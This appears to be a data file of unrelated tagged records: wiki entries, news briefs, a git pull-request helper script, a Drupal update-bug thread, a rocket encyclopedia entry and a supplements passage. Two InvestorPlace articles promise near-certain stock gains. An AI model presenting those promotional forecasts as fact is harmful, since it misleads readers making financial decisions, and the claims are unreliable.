There are complete or almost complete copies of this movie in Internet Archive. Here the links
https://archive.org/details/themanthatlaughs
https://archive.org/details/the-man-who-smiles-stab-chf-3-prob-3
https://archive.org/details/the-man-who-laughs-1928-2647075785379
So... people, give a check on it and see which one can go to commons. Goliv04053 (talk) 00:39, 1 January 2024 (UTC) | WIKI |
Data storage company Western Digital's revenue jumps 47 pct
Jan 25 (Reuters) - Data storage company Western Digital Corp reported a 47 percent jump in quarterly revenue, helped by demand for its products amid stabilizing PC demand and as businesses increasingly shift to cloud storage. The company’s revenue rose to $4.89 billion in the second quarter ended Dec. 30 from $3.32 billion a year earlier. Net income, however, fell to $235 million, or 80 cents per share, from $251 million, or $1.07 per share, a year earlier. (Reporting by Rishika Sadam in Bengaluru; Editing by Saumyadeb Chakrabarty) | NEWS-MULTISOURCE |
TV Art
TV Art may be:
* TV Art (Serbia), defunct cultural television channel from Serbia
* TV Art (Macedonia), television channel from Macedonia | WIKI |
I use the awesome hub utility to open pull requests on GitHub from the command line. I love being able to do this from the terminal. Since I almost always need to push a branch and copy the pull request URL to my clipboard, I wrote a wrapper to handle these steps in one command.
This script does the following:
1. Pushes the branch to GitHub and tracks it.
2. Opens a pull request.
3. Copies the pull request URL to the clipboard (for pasting into HipChat, etc).
#!/bin/sh
# Usage: git pr [options]
#
# Help: Pushes the current branch upstream and opens a Pull Request. On OS X,
# the PR URL is copied to the clipboard. Requires a repo with github.com as
# the remote named origin and the `hub` CLI tool https://github.com/github/hub
#
# Examples:
# git pr
# git pr -b base-branch
# git pr -m "This is my PR"
# echo "This is my PR" | git pr -F -
set -e
# Internal, used with the $BROWSER variable to copy the pull request URL to
# the clipboard.
if [[ "$1" = "--pbcopy" ]]; then
shift
printf "%s" $1 | pbcopy
exit
fi
# Check if the `hub` command is installed
if ! type hub &> /dev/null; then
echo "Error: \`hub\` not found. Install from https://github.com/github/hub"
exit 1
fi
# Check if the repo has a GitHub URL
if ! git config --get remote.origin.url 2> /dev/null | grep github &> /dev/null; then
echo "Error: Remote \`origin' is not on GitHub, or is not setup."
exit 1
fi
# Get the current branch name
branch=$(git symbolic-ref HEAD | sed 's|refs/heads/||g')
# Ensure we're not on the master branch
if [[ "$branch" = "master" ]]; then
echo "Error: You are on \`master', checkout a new branch first!"
exit 1
fi
# Push the branch to GitHub and track it
git push -u origin $branch
# Open the pull request. On OS X, copy the pull request URL to the clipboard.
# On Linux let `hub` print the pull request URL.
if [[ "$OSTYPE" = darwin* ]]; then
# Hack to copy the pull request URL to the clipboard automatically
BROWSER="$0 --pbcopy" hub pull-request -o "$@"
echo "Created pull request - $(pbpaste)"
else
hub pull-request "$@"
fi
When I’m ready to open a new pull request for feedback, I can simply run git pr to push the remote branch and open the pull request. Some examples of how I use it:
# Open $EDITOR to compose the pull request subject and message
git pr
# Supply a subject
git pr -m "My new feature"
# Supply a subject and message
git pr -m "My new feature
This is a more detailed description of my new feature."
I’ve been using this script several times a week for about 3 years now, and it has worked great for me – I hope it helps someone else! | ESSENTIALAI-STEM |
3 Alternative Energy Stocks With Multibagger Potential
InvestorPlace - Stock Market News, Stock Advice & Trading Tips
The global alternative or renewable energy market is growing at a stellar pace. This implies ample opportunity for investors in the form of high-return alternative energy stocks. I believe that some of the quality names in the industry can deliver 5x to 10x returns through 2030. However, even in a long-term bull market, there are intermediate corrections. Some of the potential multi-bagger alternative energy stocks have declined in the last few quarters. This provides a good accumulation opportunity.
Talking about the growth potential, the solar power capacity was approximately 750GW in 2020. It’s expected that capacity will increase to over 2,500 GW by 2030. Projections are equally robust for wind power. Overall, it’s expected that the renewable energy market size will swell to $1.9 trillion by 2030.
Given the impending growth potential, high-return alternative energy stocks should be a part of the core portfolio. Let’s discuss three stocks for multi-bagger returns potential.
Plug Power (PLUG)
Source: Postmodern Studio / Shutterstock
Among high-return alternative energy stocks, Plug Power (NASDAQ:PLUG) is the top name to consider. PLUG stock has trended lower in the last 12 months and it’s a golden opportunity for long-term investors to accumulate.
With the company providing end-to-end solutions in the hydrogen economy, the growth visibility is robust. To put things into perspective, Plug Power expects to clock a turnover of $1.3 billion for the year.
With significant expansion plans, revenue is likely to increase to $5 billion in 2026 and further to $20 billion by 2030. Additionally, Plug Power expects an operating income margin in excess of 20% by the end of the decade. These estimates look realistic if the company can expand into the electric vehicle, aerospace, and stationary power industry.
Further, considering the prospects of multi-fold growth in revenue, I believe that PLUG stock is poised for multi-bagger returns.
First Solar (FSLR)
Source: Simone Hogan / Shutterstock.com
First Solar (NASDAQ:FSLR) stock has surged by 135% in the last 12 months. However, considering the growth momentum, FSLR stock remains undervalued at a forward price-earnings ratio of 27.1.
Just to put things into perspective, First Solar reported total bookings of 77.8GW that extend through 2030. Further, the company has booking opportunities of 78.3 GW. As the backlog swells, there will be clear cash flow visibility for the coming years.
It’s worth noting that even with capital expenditure of $2 billion (guidance), First Solar expects to end the year with a cash buffer of $1.4 billion. This provides flexibility for investments well into the next year.
On the back of receivables and inventory, operating cash flow has been negative. Once OCF accelerates, there will be flexibility for investment through internal cash flows. I, therefore, expect the order intake and growth momentum to remain robust.
Enphase Energy (ENPH)
Source: Andreas Prott / Shutterstock
Enphase Energy (NASDAQ:ENPH) stock has been trending lower and I see this downside as a good accumulation opportunity. At a forward price-earnings ratio of 30.5, the growth stock looks attractive with an investment horizon of five years.
As an overview, Enphase identifies itself as the world’s leading supplier of microinverter-based solar-plus-storage systems. Last year, Enphase clocked revenue of $2.3 billion and the company has already installed 3.5 million systems in 145 countries.
An important point to note is that Enphase delivered an operating cash flow of $745 million for 2022. With the visibility of sustained growth, the business is a cash flow machine. My view is underscored by the point that the total addressable market for the company’s products is $23 billion by 2025.
It’s important to note that Enphase has 365 patents globally. With innovation-driven growth, Enphase is positioned to benefit in the current phase of the global energy transition.
On the date of publication, Faisal Humayun did not hold (either directly or indirectly) any positions in the securities mentioned in this article. The opinions expressed in this article are those of the writer, subject to the InvestorPlace.com Publishing Guidelines.
Faisal Humayun is a senior research analyst with 12 years of industry experience in the field of credit research, equity research and financial modeling. Faisal has authored over 1,500 stock specific articles with focus on the technology, energy and commodities sector.
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The post 3 Alternative Energy Stocks With Multibagger Potential appeared first on InvestorPlace.
The views and opinions expressed herein are the views and opinions of the author and do not necessarily reflect those of Nasdaq, Inc. | NEWS-MULTISOURCE |
The 3 Most Undervalued Lithium Stocks to Buy Now: November 2023
InvestorPlace - Stock Market News, Stock Advice & Trading Tips
Lithium stocks have suffered tremendously since the late summer. The downturn is the result of many factors. Lithium production has increased dramatically over the past few years. That has introduced a much greater supply and created lower prices. On the demand side, factors have conspired against lithium as well. A weaker economy has lowered EV demand and helped suppress previously strong prices.
Additionally, many firms had piled up large inventories of lithium, which created an overhang of supply. If that weren’t enough, questions about the state of the EV market continue to persist. Fear not, though, EVs have passed the point of no return, and the economy is strengthening. Lithium stocks are a smart contrarian bet to make right now.
Albemarle (ALB)
Source: tunasalmon / Shutterstock
Albemarle (NYSE:ALB) has established a position as one of the strongest lithium stocks in the US market. It has also proven to be highly volatile, moving from highs above $285 in 2023 to its current price of $114.
With all that said, there remains a lot to like about Albemarle. For example, look at Albemarle’s third-quarter earnings. The company made $2.3 billion in sales during the period which was still an increase of 10%. Furthermore, Albemarle also predicted that 2023 sales are expected to increase by 30 to 35%.
Those numbers suggest that the markets may simply be overreacting. Lithium is a commodity and commodities are subject to periods of fluctuation that result in strong price swings. Yet, electric vehicles will continue to grow. Lithium prices will inevitably swing in the other direction again. In other words, all investors need to do is make the bet now and be patient.
Albemarle also Has the backing of the Department of Defense and received a grant worth $90 million during the period. Lithium has been designated a critical material by the government, and Albemarle has been earmarked as one of its favored sons. Its place is secure, as are its fortunes.
Lithium Americas (LAC)
Source: GrAl / Shutterstock.com
Lithium Americas (NYSE:LAC) website puts it bluntly: Lithium Americas is focused on advancing Thacker Pass to production. For those who don’t know, Thacker Pass is one of the largest lithium deposits globally. Investors who believe in the future of EVs should believe in Thacker Pass and Lithium Americas, by extension.
The company believes in the potential of Thacker Pass so strongly that it recently separated its operations to isolate Thacker Pass. LAC stock Is now fully dependent on the lithium produced from that mine for its future success. It’s also very early in developing lithium Americas Thacker pass operations.
While construction commenced in early 2023, initial production is not expected until late 2026. The flip side of that coin is that those who get in now are setting themselves up for windfall profits in just a few years. Lithium Americas, like Albemarle, has carved out a unique position as a large producer of strategically critical precious metals.
Early returns following the stock separation have not been strong, but those with even the smallest number of shares are bound to see good returns.
Livent (LTHM)
Source: Shutterstock
Livent (NYSE:LTHM) stock isn’t likely to impress investors based on its fundamentals. In fact, the company didn’t do very well, judging by its most recent earnings report.
Revenues fell by 10% to $211.4 million, 9% lower than a year earlier. Net income fell from $90.2 million to $87.4 million. The relatively small decrease resulted from cost-cutting measures implemented by the firm. That was probably the best fundamental information for investors interested in Livent.
Investors probably don’t care at this point because the most potent catalyst for Livent has to do with other things. The company remains on track to succeed in its merger with Allkem. It has received regulatory approval from all related countries relevant to the deal. The new company will be called Arcadium Lithium and trade on the New York Stock Exchange and in Australia.
On the date of publication, Alex Sirois did not have (either directly or indirectly) any positions in the securities mentioned in this article. The opinions expressed in this article are those of the writer, subject to the InvestorPlace.com Publishing Guidelines.
Alex Sirois is a freelance contributor to InvestorPlace whose personal stock investing style is focused on long-term, buy-and-hold, wealth-building stock picks. Having worked in several industries from e-commerce to translation to education and utilizing his MBA from George Washington University, he brings a diverse set of skills through which he filters his writing.
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The views and opinions expressed herein are the views and opinions of the author and do not necessarily reflect those of Nasdaq, Inc. | NEWS-MULTISOURCE |
cis-Neptunian
Etymology
From ; compare.
Adjective
* 1) Relating to an astronomical body found within the orbit of Neptune.
Usage notes
* The definition is somewhat vague: an object whose orbit is only partly inside that of Neptune might be neither cis-Neptunian nor trans-Neptunian – or perhaps both.
* The term is usually only applied to small Solar System bodies that directly orbit the Sun. It also may be stipulated that the orbit be beyond that of Jupiter.
* Neptunian trojans, which share Neptune's orbit, may or may not be included. | WIKI |
User:AussieLegend/Cheatsheet/hidden
Stuff
* Example of how much fixing even a small article requires
JAWS
* See this.
Infobox Australian road
* Infobox Australian road
Timeline
* 1) 22 August 2010 (13 years, 315 days ago) - Imzadi1979 proposes change
* 2) 28 August 2010 (13 years, 309 days ago) - Sees no opposition and starts modifying articles
* 3) 28 August 2010 (13 years, 309 days ago) - AL notices changes and points out that template isn't watched by many. Might have been prudent to notify WP:AUSTRALIA
* 4) 28 August 2010 (13 years, 309 days ago) - AL raises matter at WP:AWNB and discussion ensues.
* 5) 9 September 2010 (13 years, 297 days ago) - During the discussion, Imzadi1979 decides to nominate template for deletion.
* 6) 9 September 2010 (13 years, 297 days ago) - AL suggests nomination was premature as discussion is active.
* 7) 12 September 2010 (13 years, 294 days ago) - Discussion at Template talk:Infobox Australian road seems to end.
* 8) 13 September 2010 (13 years, 293 days ago) - Imzadi1979 with draws TfD nomination, noting "Let us withdraw this TfD for further discussions and consultations for the time being."
* 9) 13 September 2010 - 31 August 2011 - No further discussions and consultations happen.
* 10) 31 August 2011 (12 years, 306 days ago) - Pigsonthewing adds coords to template, which is reverted by Rschen7754. Pigsonthewing reverts, and a discussion ensues.
* 11) 31 August 2011 - 31 December 2011 - All is silent again.
* 12) 31 December 2011 (12 years, 184 days ago) - Pigsonthewing nominates IAR be merged to IR. No, he didn't say anything at WP:AWNB or Template talk:Infobox Australian road
* 13) 7 January 2012 (12 years, 176 days ago) - AL finally votes on the TfD after giving the generally uncollaborative IR proposers a really good chance to collaborate.
* 14) 8 January 2012 (12 years, 175 days ago) - TfD closed as no consensus to merge/delete.
Neutrality
Editor claims to be nuetral but doesn't always demonstrate it. Evidence of opinion, kept as this is an ongoing issue.
* Administrators' noticeboard/IncidentArchive781
Infobox television
Location parameter ANI reference found as the result of this edit.
Draft discussion for template talk page:
"Location" parameter (again)
Editors have been making changes to use of the parameter based on the opinions of two editors who participated at a tangentially related ANI discussion in March. The ANI discussion, which may be found here, was about the actions of an editor in his incorrect use of the parameter. Based on the opinion of one editor, another has changed the documention, and then announced that he had done so. This is being taken by at least one editor as to mean that there is consensus for the change.[en.wikipedia.org/w/index.php?title=The_Suite_Life_on_Deck&diff=prev&oldid=497265452] However, there was never actually any discussion about changing use of the parameter.
My 71,000th edit
* here
Talk:Terra Nova (TV series) - notes for likely ANI
* - Initial statement that we probably should mention 1, but can't ignore 11
Uncivil behaviour
* NS
* NS again
* uncivil edit summary
Fake warnings
* In valid 3RR warning by NS about reverting "3 editors, 4 times in the last 2 days" - Same editor later went on to revert 2 editors 3 times in only 2 hours at two articles.
Threats
* JOJ
Just plain silliness
* disregarding reliable sources NS
* NS claiming he can't make opening comments at DRN until it's accepted
* JOJ - source doesn't support edit. Clearly WP:SYNTH as the source mentions "episode", not "episodes" and editor is assuming two episodes because two production codes.
* NS questioning TFC again
<!-- == Infoboxes ==
* Infobox Greek Dimos 1,962 transclusions
* Infobox Swiss town 2,484 transclusions
* Infobox Kibbutz 973 transclusions (wrapper for IS)
* Infobox Ireland station [ transclusions]
* Infobox French commune 36,810 transclusions
* Infobox UK place 19,626 transclusions
* Infobox Australian place 8,142 transclusions
* Infobox German location 13,010 transclusions
* Infobox Indian jurisdiction 6,946 transclusions (awaiting conversion to IS for 2 years)
* Infobox Italian comune 8,150 transclusions (IS)
* Infobox Israel municipality 218 transclusions (IS)
* Infobox city Japan 1,584 transclusions (IS)
* Infobox kommune 434 transclusions (IS)
* Infobox Korean settlement 429 transclusions (IS)
* Infobox Palestine municipality 424 transclusions (IS)
* Infobox Singapore neighbourhood 153 transclusions (IS)
* Infobox Town AT 2,364 transclusions (IS)
* Infobox Finnish municipality 339 transclusions (IS)
* Infobox Finnish former municipality 45 transclusions (IS)
Total:
* 104,093 that don't call IS directly
* 15,113 of these call IS through a wrapper
* Infobox settlement 336,691 transclusions
Total transclusions: 336,691 + 104,093 - 15,113 = 425,671 Transclusions that don't use IS = 24.4%
-->
* Infobox New Zealand suburbs [ transclusions]
then | WIKI |
True Dare Kiss
True Dare Kiss is a six-part British television drama series, created by screenwriter Debbie Horsfield, that first broadcast on BBC One on 28 June 2007. The series follows the reunion of four sisters and a brother following the death of their estranged father, as they embark on a long journey to uncover the truth, revealing secrets surrounding a cataclysmic event in the past. The series, produced by Marcus Wilson, is set in the city of Manchester in the North-West of England. Filming began on 8 January 2007. The series featured a high-profile cast including Pooky Quesnel, Lorraine Ashbourne, Paul McGann, Dervla Kirwan, David Bradley and Paul Hilton. The complete series was released on DVD on 3 September 2007. Horsfield was interviewed about how the Manchester-based story came to life in the Manchester Evening News.
Main cast
* Pooky Quesnel as Nita McKinnon
* Lorraine Ashbourne as Beth Sweeney
* Paul Hilton as Dennis Tyler
* Paul McGann as Nash McKinnon
* Dervla Kirwan as Phillipa Tyler
* Esther Hall as Alice Tyler
* Brendan Coyle as Kaz Sweeney
* Ciarán McMenamin as Bryce Waghorn
* David Bradley as Stanley Tyler
Supporting cast
* Elliott Tittensor as JJ
* Samantha Blakey as Lola
* Helen Moon as Nancy
* Nick Fletcher as Dougie
* Nicky Bell as Ethan
* Carlton Dickinson as Georgie
* Anji Kreft as Lois
* Martin Wenner as Sven | WIKI |
Inserted Development 6.x-1.x-dev and it cause Database update failure.
Problem went away with Release 6.x-1.0.
Within Status Report (/admin/reports/status):
The following queries were executed
menu_per_role module
Update #6000
* Failed: ALTER TABLE {menu_per_role} DROP mid
* Failed: ALTER TABLE {menu_per_role} DROP rid
* Failed: ALTER TABLE {menu_per_role} ADD `mlid` INT unsigned NOT NULL DEFAULT 0
* Failed: ALTER TABLE {menu_per_role} ADD `rids` TEXT DEFAULT NULL
* ALTER TABLE {menu_per_role} CHANGE rids `rids` TEXT NOT NULL
* user warning: Unknown column 'mid' in 'field list' query: SELECT mid, rid FROM menu_per_role WHERE mid IS NOT NULL in /home/dev/sites/svn_pm_site_repo/site/web/drupal/sites/all/modules/menu_per_role/menu_per_role.install on line 56.
* user warning: Can't DROP 'mid'; check that column/key exists query: ALTER TABLE menu_per_role DROP mid in /home/dev/sites/svn_pm_site_repo/site/web/drupal/includes/database.mysql-common.inc on line 322.
* user warning: Can't DROP 'rid'; check that column/key exists query: ALTER TABLE menu_per_role DROP rid in /home/dev/sites/svn_pm_site_repo/site/web/drupal/includes/database.mysql-common.inc on line 322.
* user warning: Duplicate column name 'mlid' query: ALTER TABLE menu_per_role ADD `mlid` INT unsigned NOT NULL DEFAULT 0 in /home/dev/sites/svn_pm_site_repo/site/web/drupal/includes/database.mysql-common.inc on line 298.
* user warning: Duplicate column name 'rids' query: ALTER TABLE menu_per_role ADD `rids` TEXT DEFAULT NULL in /home/dev/sites/svn_pm_site_repo/site/web/drupal/includes/database.mysql-common.inc on line 298.
* warning: Invalid argument supplied for foreach() in /home/dev/sites/svn_pm_site_repo/site/web/drupal/sites/all/modules/menu_per_role/menu_per_role.install on line 82.
Jeff in Seattle
Comments
AlexisWilke’s picture
Hey Jeff in Seattle,
That would be because I may actually need to test whether you already have the new tables or not!
And I thought I was dropping the old columns after I created the new ones...
If you were not running v5.x and switching to 6.x you do not need that conversion anyway.
Thank you for the report!
Alexis Wilke
jeff00seattle’s picture
Hi
I have only been running with Drupal 6.1.
Jeff in Seattle
AlexisWilke’s picture
Okay, so you can use either version and ignore the Update complaints. 8-)
I'll close this issue once I have a fix to this problem.
Thank you.
Alexis
Frank Ralf’s picture
Status:Active» Fixed
Problem went away with Release 6.x-1.0.
Can confirm that the module works as promised, no error messages when running update.php. Setting status to "fixed".
Antinoo’s picture
Title:Menu pre Role causes Database update failure» Menu per Role causes Database update failure
Version:6.x-1.x-dev» 6.x-1.1
Status:Fixed» Active
I'm getting the same errors when running update.php after last upgrade of the module to the v6.x-1.1. I'm running Drupal 6.10.
In my case (I've never ran v5.x), {menu_per_role} table already hasn't neither "mir" nor "rid" columns.
Moreover, mlid is int(10) unsigned NOT NULL default '0' and rids is text NOT NULL.
We don't need to do anything. Right?
AlexisWilke’s picture
Status:Active» Fixed
Okay! Got it!
The function in the update would check for a column name that was wrong and thus the code would believe you had the old table.
Looking at the code, it looks like the data would be deleted by this statement:
<?php
db_query('DELETE FROM menu_per_role');
?>
So if you did not have a backup (or just a couple of links to hide) then you just lost your data... Ack!
I'm generating a newer version that fixes the problem.
Sorry about that!
Alexis Wilke
Status:Fixed» Closed (fixed)
Automatically closed -- issue fixed for 2 weeks with no activity.
richrem’s picture
Version:6.x-1.1» 6.x-1.2
Status:Closed (fixed)» Needs work
I just upgraded from 5.18 to 6.12 and got the following output from update.php:
* user warning: You can't delete all columns with ALTER TABLE; use DROP TABLE instead query: ALTER TABLE menu_per_role DROP rid in /backup/clients/wjgsa/wjgsa/drupal-6.12/includes/database.mysql-common.inc on line 322.
* user warning: Duplicate entry '0' for key 'PRIMARY' query: INSERT INTO menu_per_role (mlid, rids) VALUES (69, '3') in /backup/clients/wjgsa/wjgsa/drupal-6.12/sites/all/modules/menu_per_role/menu_per_role.install on line 85.
* user warning: Duplicate entry '0' for key 'PRIMARY' query: INSERT INTO menu_per_role (mlid, rids) VALUES (101, '3,4') in /backup/clients/wjgsa/wjgsa/drupal-6.12/sites/all/modules/menu_per_role/menu_per_role.install on line 85.
* user warning: Duplicate entry '0' for key 'PRIMARY' query: INSERT INTO menu_per_role (mlid, rids) VALUES (140, '3,4') in /backup/clients/wjgsa/wjgsa/drupal-6.12/sites/all/modules/menu_per_role/menu_per_role.install on line 85.
-- and --
The following queries were executed
menu_per_role module
Update #6000
* ALTER TABLE {menu_per_role} DROP mid
* Failed: ALTER TABLE {menu_per_role} DROP rid
* ALTER TABLE {menu_per_role} ADD `mlid` INT unsigned NOT NULL DEFAULT 0
* ALTER TABLE {menu_per_role} ADD `rids` TEXT DEFAULT NULL
* ALTER TABLE {menu_per_role} CHANGE rids `rids` TEXT NOT NULL
* INSERT INTO {menu_per_role} (mlid, rids) VALUES (9, '3')
* Failed: INSERT INTO {menu_per_role} (mlid, rids) VALUES (69, '3')
* Failed: INSERT INTO {menu_per_role} (mlid, rids) VALUES (101, '3,4')
* Failed: INSERT INTO {menu_per_role} (mlid, rids) VALUES (140, '3,4')
AlexisWilke’s picture
Status:Needs work» Needs review
rechrem,
Could you test with the -dev version instead? I don't think I published it since I made this fix.
Sorry about the trouble!
Thank you.
Alexis
richrem’s picture
Yes. I was doing this on a backup site to test the upgrade, so will use the -dev version and report my findings. This won't happen until (at least) May 24, though...
AlexisWilke’s picture
richrem,
You may want to reset the backup and try again on the backup first. Although the update is done in a transaction so it should not have changed the database. In other words, uninstalling and trying again with the same server should generate the errors again (with 1.2) or not (with -dev).
Thank you.
Alexis
richrem’s picture
The -dev version worked for me - e.g. no warnings or errors. Unfortunately, I have other unrelated issues I'm trying to resolve at the moment...
AlexisWilke’s picture
Richrem,
Thank you for posting. I will make the -dev version 1.3
Alexis Wilke
AlexisWilke’s picture
Status:Needs review» Fixed
Should mark this as fixed too 8-)
Status:Fixed» Closed (fixed)
Automatically closed -- issue fixed for 2 weeks with no activity. | ESSENTIALAI-STEM |
AusStage
AusStage: The Australian Live Performance Database is an online database which records information about live performances in Australia, providing records of productions from the first recorded performance in Australia (1789, by convicts) up until the present day. The only repository of Australian performing arts in the world, it is managed by a consortium of universities, government agencies, industry organisations and arts institutions, and mostly funded by the Australian Research Council. Created in 2000, the database contained more than 250,000 records by 2018.
History
The AusStage project was instigated by the Australasian Drama Studies Association in 1999, with Flinders University in South Australia leading the project, funded by a grant from the Australian Research Council (ARC). Other collaborating universities were La Trobe University (Vic), University of Queensland, University of New South Wales, University of Western Australia, University of New England (NSW), Newcastle University, and Queensland University of Technology. In addition, the Australia Council, the Performing Arts Special Interest Group, and industry representative Playbox Theatre Company, Melbourne (later Malthouse) were initial collaborators. A prototype version of the database, known as The Event Database (TED), built for the Adelaide Festival Centre Trust by Joh Hartog and Julie Holledge (of Flinders) was launched in October 2002.
The purpose was to address a gap in accessible information about events and resources in the area of Australian theatre, drama and performance studies, by creating an online database of events in Australia, with indexes to access it, and also to provide a type of online catalog, or directory, of research resources of many types held across the country. The plan was to first combine existing data from the participating universities, and then expand over time, allowing for further data to be input.
In Phase 2, from 2003 to 2005, the project was expanded, with more funding from ARC and Curtin University joining the group. The database was reorganised and the interface improved, but the main effort was put into data entry, with the number of entries expanding from 7,000 to 35,000.
The project continued through several more phases, which included sub-projects on specific aspects, funded by various sources. In Phase 6 (2017-2018), the aim has been to build a visual interface, using new visualisation technologies and focusing on venues. During Phase 7 (2021-2022), AusStage focused on improving the user interface, adapting the schema to support policy analysis, and using VR to popularise performing arts research.
Partners and collaborators
, partners in the project are the Association of Performing Arts Collections (APAC), Flinders University, University of Queensland, Deakin University, Griffith University, University of Melbourne, Edith Cowan University, La Trobe University, Monash University, QUT, the University of Newcastle, UNSW, University of Sydney, the Centre for Ibsen Studies at the University of Oslo in Norway, the Performing Arts Heritage Network (PAHN), and the State Theatre Company of South Australia.
Project advisors come from QPAC Museum, National Library of Australia (NLA), UNSW Library, the Performing Arts Collection of South Australia and the Performing Arts Collection at the Arts Centre in Melbourne. Past partners, advisors and collaborators have included staff and/or funding from the University of Tasmania, University of Western Sydney, RMIT, Macquarie University, Murdoch University, the University of Ballarat, University of New England, University of Wollongong, Batchelor Institute of Indigenous Tertiary Education, NIDA, the Australia Council, Adelaide Festival Centre, Windmill Performing Arts. A large number of data entry staff is employed, with some based in the UK.
There is a small team of volunteers at the NLA who have been researching and adding data from the library's PROMPT Collection (digitised in Trove). The working group has also been going through the library's holdings of music and theatre ephemera, the J. C. Williamson Collections. Both the AusStage database and the J.C. Williamson Distributed Collection were added to the UNESCO Australian Memory of the World Register in 2021.
Content and description
The database provides records of productions from the beginnings of theatre in Australia up to today, searchable by playwright, venue, company, director and other categories. A team of people working around the country have indexed articles from journals such as the Australia and New Zealand Theatre Record as well as archived theatre programmes and other printed and electronic materials.
The first recorded theatre production staged in Australia, performed in the same year as the convict settlement was founded in Port Jackson, 1789, and put on by convicts in a hut, with Captain Arthur Phillip in the audience, is included in the database.
Coverage includes all performing arts events (including theatre, music, spoken word poetry, circus arts and other types) in Australia, venues, organisations, people, etc. Entry is either by browsing, or searching using the indexes, by event, person, organisation, venue, resource or work or any keyword. It also contains links to content about the performing arts in Australia in other places.
, AusStage contained more than 250,000 records, and has become a valuable resource for thousands of people who have an interest in researching Australian theatre companies, events, directors and anything else to do with the performing arts, for whatever reason.
As examples of its many uses, one researcher used AusStage to geographically map different corroboree performances in the 19th century, and then link these to specific tribal and language groups; another undertook a social network analysis of Australian performing artists, finding that there was only 3.6 degrees of separation between them.
In 2021, AusStage was welcomed to the UNESCO Memory of the World Register. The Australian Memory of the World Program describes it as unique in its coverage, and states "There is nothing comparable in the world, even in the UK or USA, at a national level".
Funding
AusStage had received funding from the Australian Research Council, the National eResearch Architecture Taskforce (Nectar), the Australian National Data Service (the latter two being divisions of the Australian Research Data Commons since 2018) and the Australian Access Federation, but as its size has grown, so has its costs. The managers do not want to make it a subscription-only database, as this would contravene the spirit of its creation. It has received major funding from the University of Melbourne Library, the University of Wollongong Library, the UNSW Library and Flinders’ Central Library, but it needed to raise A$200,00 per annum to maintain the resource, so additional donations by university libraries and individual donors were being sought. | WIKI |
Worlds of David Darling
Encyclopedia of Science
Home > Encyclopedia of Science
Falcon 1 (rocket)
Falcon 1
A small, two-stage rocket privately built by SpaceX (Space Exploration Technologies Corporation). Both its stages run on liquid oxygen and RP-1.
The first launch of Falcon 1, following various delays, took place on Mar. 24, 2006 at 2230 GMT; however, the rocket was destroyed approximately one minute into its flight following an onboard fire. This was the first ground-based orbital launch from the US Army's Kwajalein base in the Marshall Islands. The inaugural payload for the Falcon 1 rocket was the US Air Force Academy's cadet-built FalconSat 2 space plasma probe. It was to have been delivered into a 250 by 310 mile orbit inclined 39° to the equator. A second, purely test launch of the Falcon 1, on Mar. 20, 2007, also failed to reach orbit following a problem during the second stage burn. The third launch failed for a similar reason. However, the fourth flight of Falcon 1, on Sep. 28, 2008, proved successful in placing a dummy 165kg payload into orbit.
Further launches are scheduled over the next few years. Falcon 1 is the smallest of the Falcon family of launch vehicles that SpaceX proposes to build.
Falcon 1 size comparison
First stage
Falcon 1's first stage main engine, called Merlin, produces about 77,000 pounds of thrust and burns for 2 min 49 sec after launch. A second after it shuts down, the separation system jettisons the parachute-equipped first stage to fall into the ocean for retrieval.
Second stage
The Kestrel second stage engine, operated by tank pressure and not a turbopump, produces about 7,000 pounds of thrust and, like the first stage, runs on refined kerosene propellant and liquid oxygen. It ignites 4 seconds after first stage separation and carries the payload into low Earth orbit. The two halves of the five-foot diameter nose cone separate about 3 min 14 sec after launch, the shroud falls away, and the payload is exposed for release into its planned orbital trajectory.
length 21.3 m (70 ft)
diameter 1.7 m (5.5 ft)
mass 27,200 kg (60,000 lb)
thrust on liftoff 342 kN (77,000 lb)
Related category
• ROCKETS, MISSILES, AND LAUNCH VEHICLES | ESSENTIALAI-STEM |
Supplements
The good, the bad and the iffy
Now that you're familiar with the most crucial vitamins, minerals and phytonu-trients, the question becomes: How do you get the right amount of each?
In an ideal world, simply eating a well-balanced diet would be enough. But sometimes that's just not possible. Supplements — manufactured, easy-to-take versions of these nutrients — may be the answer. Although there's no firm data that dietary supplements can cure or prevent prostate cancer, evidence suggests that some may help slow tumour growth — the ultimate goal in managing the disease. But take note: Too much of certain vitamins can actually be harmful to the prostate. And there are also countless less familiar supplements out there, including herbal preparations, that make a variety of claims — some true, others not. Below you'll find details on which supplements we recommend and which ones we don't, as well as the low-down on the most popular herbal products.
Herbal products and other supplements
Lots of big claims are made by manufacturers of herbal products, and those geared towards men with prostate cancer are no exception. Literally dozens of "alternative" — often untested — remedies for prostate cancer are already selling like hotcakes on the Internet. If you do decide to take a herbal or alternative supplement, don't rely on "testimonials": Remember that the supplement industry isn't regulated, and keep in mind that many of these products may actually do more harm than good. And before you take any new supplement, herbal or otherwise, consult your doctor. Here's the story on some of the most popular — and hyped — alternative products.
Before you take any new supplement, herbal or otherwise, consult your doctor.
Melatonin
This hormone regulates the body's sleep-wake cycle, but some recent evidence suggests that it also possesses some anti-cancer properties, including those potentially beneficial in fighting prostate cancer. In one study, which compared melatonin levels in men with and without prostate cancer, the men with prostate cancer showed evidence of a melatonin deficiency. But will taking a supplement offer any benefits? We simply don't know for sure, although the results seem promising. In another study, men with hormone-refractory prostate cancer that couldn't be treated conventionally were controlled with high-dose melatonin. Other studies are currently underway.
Melatonin does have the potential to do harm, however. The non-synthetic variety of the supplement is derived from cows' brains, and carries a theoretical risk of transmitting illnesses like mad-cow disease. So, should you take melatonin supplements? Until the results of more conclusive studies come in, the answer is probably no.
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Punjabi Tamba and Kurta
Punjabi Kurta and Tamba are traditional costume for men of Punjab.
Tamba/Tehmet
The tamba, which is also called tehmat is the Punjabi version of the lungi which has folds at the front and is the traditional dress for Punjabi men. The tamba is worn by Bhangra dancers. Although the use of the Punjabi tehmat in East Punjab has declined in recent years, being replaced by the pyjama, men can be seen wearing the tehmat and its use has not completely stopped. The tamba or the lungi can also be seen on Punjabi men in West Punjab and the Punjabi men of adjoining Hazara, Pakistan (in Khyber Pakhtunkhwa). A tehmat is of one colour and has no border. The tehmat or laacha can be long reaching to the heels. It can also be short to just below the knees.
Laacha
A laacha differs from the tehmat in that it has a border and is variegated so that it has more than one colour. The laacha is popular in West Punjab. The laacha is worn in a like manner to the tehmat except it has more folds. Women in some parts of Punjab wear the tehmat and the laacha, especially the districts of Gujarat, Gujranwala, Shahpur and Muzzafargarh.
Punjabi Kurta
The Punjabi kurta is made of two rectangular pieces with side slits, and a front opening below the neck. In the past, it was traditional for men to wear a gold or silver chain (zanjiri) woven around the buttons.
